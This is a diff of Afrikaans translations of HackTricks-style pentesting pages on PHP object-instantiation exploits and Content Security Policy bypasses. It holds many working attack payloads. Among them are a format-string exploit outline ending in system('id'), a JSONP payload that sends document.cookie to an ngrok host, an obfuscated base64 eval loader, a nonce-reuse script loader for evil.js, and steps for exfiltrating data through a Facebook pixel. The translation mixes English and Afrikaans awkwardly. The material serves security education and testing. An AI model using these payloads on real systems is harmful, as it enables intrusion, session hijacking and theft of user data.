-Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.
+Die VID parser se vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP shell in 'n web-beskikbare gids, wat Remote Code Execution (RCE) bewerkstellig.
 
-#### VID Parser + Lêeroplaai
+#### VID Parser + File Upload
 
-Daar word opgemerk dat PHP tydelik opgelaaide lêers stoor in `/tmp/phpXXXXXX`. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik.
+Daar word opgemerk dat PHP tydelik opgelaaide lêers in `/tmp/phpXXXXXX` stoor. Die VID parser in Imagick, wat die **msl** protocol gebruik, kan wildcards in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele manier om arbitrêre lêerskryf binne die lêerstelsel te bereik.
 
 ### PHP Crash + Brute Force
 
-'n Metode wat beskryf word in die [**oorspronklike skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die opgradering van lêers wat 'n bedienerkragopval veroorsaak voordat dit verwyder word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter gevind om slegs effektief te wees in 'n verouderde weergawe van ImageMagick.
+'n Metode beskryf in die [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat hulle uitgevee word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrary PHP code uit te voer. Hierdie tegniek is egter slegs in 'n verouderde weergawe van ImageMagick effektief gevind.
 
-## Verwysings
+## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
+
+Wanneer gebruikersinvoer die klasnaam beheer (bv. `new $_GET['model']()`), het PHP 7.0.0 'n tydelike fout ingestel tydens die `Throwable` refactor waar die engine per ongeluk die klasnaam as 'n printf-formaatstring tydens resolusie beskou het. Dit maak klassieke printf-styl primitiewe binne PHP moontlik: leaks met `%p`, skryf-tellingbeheer met breedtespesifiseerders, en arbitrary writes met `%n` teen in-proses wysigers (byvoorbeeld GOT-inskrywings op ELF-boues).
+
+Minimale repro kwesbare patroon:
+```php
+<?php
+$model = $_GET['model'];
+$object = new $model();
+```
+Exploitation outline (from the reference):
+- Leak adresse via `%p` in die klasnaam om 'n skryfbare teiken te vind:
+```bash
+curl "http://host/index.php?model=%p-%p-%p"
+# Fatal error includes resolved string with leaked pointers
+```
+- Gebruik posisionele parameters en breedte-spesifiseerders om 'n presiese byte-telling te stel, gebruik dan `%n` om daardie waarde te skryf na 'n adres wat op die stapel bereikbaar is, mik na 'n GOT slot (bv. `free`) om dit gedeeltelik oor te skryf na `system`.
+- Activeer die gekaapte funksie deur 'n klasnaam te stuur wat 'n shell-pyp bevat om `system("id")` te bereik.
+
+Notas:
+- Werk slegs op PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in latere weergawes gefikseerd. Ernstigheid: kritiek indien arbitrêre klasinstansiasie bestaan.
+- Tipiese payloads ketting baie `%p` om die stapel te deurloop, dan `%.<width>d%<pos>$n` om die gedeeltelike oor-skrywing te bewerkstellig.
+
+## References
 
 - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,28 +4,28 @@
 
 ## Wat is CSP
 
-Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
+Content Security Policy (CSP) word erken as 'n blaaier-tegnologie, hoofsaaklik bedoel om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur te definieer watter paaie en bronne die blaaier veilig kan laai. Hierdie bronne sluit elemente soos beelde, frames en JavaScript in. Byvoorbeeld kan 'n beleid die laai en uitvoering van bronne vanaf dieselfde domein (`self`) toelaat, insluitend inline-bronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
 
-Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
+Die implementering van CSP word gedoen deur middel van **response headers** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaiers hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
 
-- Geïmplementeer via antwoordkop:
+- Geïmplementeer via response header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Geïmplementeer deur middel van 'n meta-tag:
+- Geïmplementeer via meta-tag:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
-### Headers
+### Kopstukke
 
-CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste:
+CSP kan afgedwing of gemonitor word met behulp van hierdie kopstukke:
 
-- `Content-Security-Policy`: Dwing die CSP af; die blaaiers blokkeer enige oortredings.
-- `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
+- `Content-Security-Policy`: Dwing die CSP af; die blaaier blokkeer enige oortredings.
+- `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in voorproduksie-omgewings.
 
-### Defining Resources
+### Definieer hulpbronne
 
-CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeld beleid is:
+CSP beperk die oorspronge wat beide aktiewe en passiewe inhoud laai, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
 ```bash
 default-src 'none';
 img-src 'self';
@@ -39,42 +39,43 @@ object-src 'none';
 ```
 ### Direktiewe
 
-- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishanterings of XSLT-stylesheets geaktiveer word.
-- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.
-- **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
-- **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.
-- **frame-src**: Beperk URL's vir rame.
-- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
+- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline scripts, en scripts wat deur event handlers of XSLT-stylesheets geaktiveer word.
+- **default-src**: Stel 'n standaardbeleid vir die haal van hulpbronne in wanneer spesifieke fetch-direktiewe afwesig is.
+- **child-src**: Spesifiseer toegelate hulpbronne vir web workers en ingebedde frame-inhoud.
+- **connect-src**: Beperk URL's wat gelaai kan word deur interfeise soos fetch, WebSocket, XMLHttpRequest.
+- **frame-src**: Beperk URL's vir frames.
+- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, toepaslik op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
 - **img-src**: Definieer toegelate bronne vir beelde.
-- **font-src**: Spesifiseer geldige bronne vir skrifte wat met `@font-face` gelaai word.
-- **manifest-src**: Definieer toegelate bronne van toepassingsmanifestlêers.
+- **font-src**: Spesifiseer geldige bronne vir fonts wat met `@font-face` gelaai word.
+- **manifest-src**: Definieer toegelate bronne van applikasie-manifestlêers.
 - **media-src**: Definieer toegelate bronne vir die laai van media-objekte.
-- **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>`, en `<applet>` elemente.
-- **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
-- **form-action**: Lys geldige eindpunte vir vormindienings.
+- **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>`, en `<applet>`-elemente.
+- **base-uri**: Spesifiseer toegelate URL's vir laai met `<base>`-elemente.
+- **form-action**: Lys geldige endpunte vir vormsindienings.
 - **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
-- **upgrade-insecure-requests**: Beveel aan dat blaaiers HTTP-URL's na HTTPS herskryf.
-- **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `<iframe>`.
-- **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word as die beleid oortree word.
-- **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
-- **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat verkry of vooraf verkry sal word.
-- **navigate-to**: Beperk die URL's waartoe 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)
+- **upgrade-insecure-requests**: Beveel browsers om HTTP-URL's na HTTPS te herskryf.
+- **sandbox**: Pas beperkings toe soortgelyk aan die sandbox-atribuut van 'n `<iframe>`.
+- **report-to**: Spesifiseer 'n groep waarheen 'n verslag gestuur sal word indien die beleid oortree word.
+- **worker-src**: Spesifiseer geldige bronne vir Worker-, SharedWorker- of ServiceWorker-skripte.
+- **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gehaal of vooraf gelaai sal word.
+- **navigate-to**: Beperk die URL's waarna 'n dokument op enige wyse kan navigeer (a, form, window.location, window.open, ens.)
 
 ### Bronne
 
 - `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
-- `'self'`: Laat laai vanaf dieselfde domein toe.
-- `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).
+- `'self'`: Laat laai toe vanaf dieselfde domein.
+- `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gekodeerde beelde).
 - `'none'`: Blokkeer laai vanaf enige bron.
-- `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir sekuriteitsredes nie.
-- `'unsafe-hashes'`: Aktiveer spesifieke inline gebeurtenishanterings.
-- `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir sekuriteitsredes nie.
-- `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.
-- As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
+- `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe; nie aanbeveel vir sekuriteitsredes nie.
+- `'unsafe-hashes'`: Skakel spesifieke inline event handlers in.
+- `'unsafe-inline'`: Laat die gebruik van inline hulpbronne toe, soos inline `<script>` of `<style>`; nie aanbeveel vir sekuriteitsredes nie.
+- `'nonce'`: 'n witlys vir spesifieke inline scripts wat 'n kriptografiese nonce gebruik (nommer een keer gebruik).
+
+- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
 
 <details>
 
-<summary>Laai skrip wat nonce hergebruik</summary>
+<summary>Laai script deur nonce te hergebruik</summary>
 ```html
 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 <img
@@ -88,16 +89,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>
 
-- `'sha256-<hash>'`: Witlys skripte met 'n spesifieke sha256-hash.
-- `'strict-dynamic'`: Laat toe dat skripte van enige bron gelaai word as dit deur 'n nonce of hash gewitlys is.
+- `'sha256-<hash>'`: Voeg skripte met 'n spesifieke sha256-hash by die witlys.
+- `'strict-dynamic'`: Maak dit moontlik om skripte van enige bron te laai as dit deur 'n nonce of hash op die witlys geplaas is.
 - `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
 - `https:`: Beperk URL's tot dié wat HTTPS gebruik.
-- `blob:`: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv. Blob-URL's wat via JavaScript geskep is).
-- `filesystem:`: Laat toe dat hulpbronne van die lêerstelsel gelaai word.
-- `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
-- `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
-- `'strict-origin-when-cross-origin'`: Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
-- `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
+- `blob:`: Laat hulpbronne vanaf Blob-URL's laai (bv. Blob-URL's geskep via JavaScript).
+- `filesystem:`: Laat hulpbronne vanaf die lêerstelsel laai.
+- `'report-sample'`: Sluit 'n voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
+- `'strict-origin'`: Gelyk aan 'self', maar verseker dat die protokol-sekuriteitsvlak van die bronne by die dokument pas (slegs veilige oorspronge kan hulpbronne vanaf veilige oorspronge laai).
+- `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
+- `'unsafe-allow-redirects'`: Laat hulpbronne laai wat dadelik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verswak.
 
 ## Onveilige CSP-reëls
 
@@ -105,7 +106,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
-Working payload: `"/><script>alert(1);</script>`
+Werkende payload: `"/><script>alert(1);</script>`
 
 #### self + 'unsafe-inline' via Iframes
 
@@ -127,9 +128,9 @@ Werkende payload:
 ```
 ### strict-dynamic
 
-As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe skrip-tag** in die DOM met jou JS-kode kan laat skep, omdat 'n toegelate skrip dit skep, sal die **nuwe skrip-tag toegelaat word om uitgevoer te word**.
+As jy op een of ander manier 'n **allowed JS code created a new script tag** in die DOM met jou JS code kan laat skep, omdat 'n allowed script dit skep, sal die **new script tag will be allowed to be executed**.
 
-### Wildcard (\*)
+### Wildkaart (\*)
 ```yaml
 Content-Security-Policy: script-src 'self' https://google.com https: data *;
 ```
@@ -154,26 +155,24 @@ Werkende payloads:
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
+As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP bypass:
 
-Werkende payload:
+Working payload:
 ```html
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-However, dit is hoogs waarskynlik dat die bediener **die opgelaaide lêer valideer** en slegs 'n **bepaalde tipe lêers** sal toelaat om opgelaai te word.
+Dit is egter hoogs waarskynlik dat die server die opgelaaide lêer **valideer** en slegs sal toelaat dat jy **'n bepaalde tipe lêers oplaai**.
 
-Boonop, selfs al kon jy 'n **JS-kode binne** 'n lêer opgelaai met 'n uitbreiding wat deur die bediener aanvaar word (soos: _script.png_), sal dit nie genoeg wees nie, omdat sommige bedieners soos die apache bediener **die MIME-tipe van die lêer op grond van die uitbreiding kies** en blaaiers soos Chrome sal **weier om Javascript**-kode binne iets wat 'n beeld behoort te wees, uit te voer. "Hopelik", is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet** van die _**.wave**_ uitbreiding nie, daarom dien dit nie met 'n **MIME-tipe soos audio/\*** nie.
+Verder, selfs as jy 'n **JS code inside** in 'n lêer kon oplaai met 'n uitbreiding wat deur die server aanvaar word (soos: _script.png_) sal dit nie genoeg wees nie, omdat sommige bedieners soos apache server **select MIME type of the file based on the extension** en blaaiers soos Chrome sal **reject to execute Javascript** code binne iets wat 'n beeld behoort te wees. "Hopelik", is daar foute. Byvoorbeeld, in 'n CTF het ek geleer dat **Apache doesn't know** die _**.wave**_ uitbreiding; daarom stuur dit nie 'n **MIME type like audio/\*** saam nie.
 
-Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **misverstandige uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n polyglot ([sommige polyglot voorbeelde hier](https://github.com/Polydet/polyglot-database)).
+Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy daarin slaag om 'n **misinterpreted extension** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die script op te laai. Of, as die server die korrekte formaat van die opgelaaide lêer kontroleer, skep 'n polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te eksfiltreer **deur 'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.
-
-### Derdeparty-eindpunte + ('unsafe-eval')
+As dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld credentials te exfiltreer deur 'n **injecting a form action** (en dalk verwag dat password managers wagwoorde outomaties invul). Jy kan 'n [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` form actions nie dek nie.
 
 > [!WARNING]
-> Vir sommige van die volgende payloads **is `unsafe-eval` nie eens nodig nie**.
+> Vir sommige van die volgende payloads is **`unsafe-eval` nie eens nodig nie**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@@ -198,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window`-objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads wat Angular gebruik + 'n library met functions wat die `window` object teruggee ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!TIP]
-> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window`-objek teruggee** kan nagaan.
+> Die post wys dat jy alle **libraries** van `cdn.cloudflare.com` (of enige ander toegelate JS libraries repo) kan **load**, alle bygevoegde **functions** van elke library kan uitvoer, en kan nagaan **watter functions van watter libraries die `window` object teruggee**.
 ```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -225,15 +224,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 {{[].erase.call().alert('xss')}}
 </div>
 ```
-Angular XSS vanaf 'n klasnaam:
+Angular XSS vanaf 'class name':
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-#### Misbruik van google recaptcha JS kode
+#### Misbruik van google recaptcha JS code
 
-Volgens [**hierdie CTF skrywe**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om arbitrêre JS kode uit te voer en die CSP te omseil:
+Volgens [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om ewekansige JS-kode uit te voer en die CSP te omseil:
 ```html
 <div
 ng-controller="CarouselController as c"
@@ -244,7 +243,7 @@ ng-init="c.init()"
 
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 ```
-Meer [**payloads van hierdie skrywe**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+Meer [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
 ```html
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 
@@ -261,21 +260,21 @@ b=doc.createElement("script");
 b.src="//example.com/evil.js";
 b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
-#### Misbruik van www.google.com vir oop herleiding
+#### Misbruik van www.google.com vir open redirect
 
-Die volgende URL herlei na example.com (van [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
+Die volgende URL herlei na example.com (van [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 ```
 https://www.google.com/amp/s/example.com/
 ```
 Misbruik van \*.google.com/script.google.com
 
-Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n bladsy binne script.google.com. Soos dit [in hierdie verslag gedoen word](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+Dit is moontlik om Google Apps Script te misbruik om inligting op 'n bladsy binne script.google.com te ontvang. Soos dit [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
 
-### Derdeparty Eindpunte + JSONP
+### Derdepartye-eindpunte + JSONP
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
+Scenario's soos hierdie, waar `script-src` op `self` gestel is en 'n bepaalde domein whitelisted is, kan deur JSONP omseil word. JSONP endpoints laat onveilige callback-metodes toe wat 'n aanvaller toelaat om XSS uit te voer. Werkende payload:
 ```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -289,26 +288,26 @@ https://www.youtube.com/oembed?callback=alert;
 ```html
 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed-om-te-gebruik JSONP eindpunte om CSP te omseil van verskillende webwerwe.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed-om-te-gebruik JSONP endpoints om CSP te omseil op verskeie webwerwe.**
 
-Die dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Open Redirect bevat** omdat as die aanvanklike eindpunt vertrou word, omleidings vertrou word.
+Dieselfde kwesbaarheid sal voorkom as die **vertroude endpoint 'n Open Redirect bevat**, omdat as die aanvanklike endpoint vertrou is, word omleidings vertrou.
 
-### Derdeparty Misbruik
+### Derdeparty-misbruik
 
-Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekstrapoleer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
+Soos beskryf in die [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty-domeine wat moontlik iewers in die CSP toegelaat word en misbruik kan word om óf data te exfiltrate óf JavaScript-kode uit te voer. Sommige van hierdie derdepartye is:
 
-| Entiteit          | Toegelate Domein                            | Vermoëns     |
-| ----------------- | ------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec  |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec  |
+| Entiteit           | Toegelate domeine                            | Vermoëns    |
+| ------------------ | -------------------------------------------- | ----------- |
+| Facebook           | www.facebook.com, \*.facebook.com            | Exfil       |
+| Hotjar             | \*.hotjar.com, ask.hotjar.io                 | Exfil       |
+| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec        |
+| Amazon CloudFront  | \*.cloudfront.net                            | Exfil, Exec |
+| Amazon AWS         | \*.amazonaws.com                             | Exfil, Exec |
+| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
+| Salesforce Heroku  | \*.herokuapp.com                             | Exfil, Exec |
+| Google Firebase    | \*.firebaseapp.com                           | Exfil, Exec |
 
-As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekstrapoleer óf kode uit te voer.
+As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n goeie kans dat jy die CSP kan omseil deur by die derdepartydiens te registreer en óf data te exfiltrate na daardie diens óf kode uit te voer.
 
 Byvoorbeeld, as jy die volgende CSP vind:
 ```
@@ -318,78 +317,78 @@ of
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
-U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In hierdie geval volg u hierdie algemene stappe:
+Jy behoort in staat te wees om exfiltrate data, soortgelyk aan hoe dit altyd met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gedoen is. In hierdie geval volg jy hierdie algemene stappe:
 
-1. Skep 'n Facebook Developer-rekening hier.
-2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
-3. Gaan na "Instellings -> Basies" en kry u "App ID".
-4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur direk die Facebook SDK gadget "fbq" te gebruik deur 'n "customEvent" en die datalaai.
-5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
